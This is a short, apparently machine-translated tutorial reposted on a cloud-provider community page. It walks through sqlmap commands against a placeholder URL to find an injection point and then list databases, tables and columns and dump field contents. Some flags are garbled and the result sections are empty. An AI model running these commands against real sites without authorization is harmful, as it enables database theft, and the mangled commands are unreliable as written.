SQL injection with the Sqlmap tool

Source: Internet
Author: User

1.Check injection point

"The injection point needs to be found on its own, with tools such as:Acunetix Web Vulnerability

Scanner (WVS), AppScan, etc. "u means URL.

Sqlmap-u http://www.XXXXX.com/a.asp?p=18

2.List Database Information

"Sqlmap will help us list all the names, including the database type"

Sqlmap-u www.XXXXX.com/a.asp?p=18--dbs

3.specifies that the database is listed in all tables

Sqlmap-u Www.XXXXX.com/a.asp?p=18-D database name --tables

Results:

4.lists all fields of the specified table for the specified database

Sqlmap-u Www.XXXXX.com/a.asp?p=18-D Data name - t table name --columns

5.outputs the contents of the specified field

Sqlmap-u www. xxxxx.com/a.asp?p=18-d Data name -T table name - c field 1, field 2-- Dump(output Some fields according to your needs)

Results:

---restore content ends---

SQL injection with the Sqlmap tool

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.